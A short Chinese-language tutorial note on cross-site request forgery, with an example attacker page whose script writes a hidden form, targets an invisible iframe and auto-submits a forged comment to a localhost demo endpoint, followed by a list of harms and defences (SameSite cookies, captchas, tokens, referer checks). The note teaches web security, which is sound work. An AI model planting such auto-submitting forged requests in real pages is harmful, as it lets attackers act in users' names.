cross site request forhy(CSRF)跨站請求攻擊
案例:誘導用戶打開第三網站,進行攻擊,例如:
<body>
hello,這裏什麼也沒有。
<script>
document.write(`
<form name="commentForm" target="csrf" method="post" action="http://localhost:1521/post/addComment">
<input name="postId" type="hidden" value="1">
<textarea name="content">來自CSRF!</textarea>
</form>`
);
var iframe = document.createElement('iframe');
iframe.name = 'csrf';
iframe.style.display = 'none';
document.body.appendChild(iframe);
setTimeout(function(){
document.querySelector('[name=commentForm]').submit();
},1000);
</script>
</body>
圖示:
危害:盜取用戶自己(轉賬、消費)、冒充用戶發帖背鍋、損壞網站聲譽等等。
防禦:
- 禁止第三方網站帶cookie --> same-site(兼容性不好)
- 在涉及攻擊前端頁面加入驗證碼
- token
- referer判斷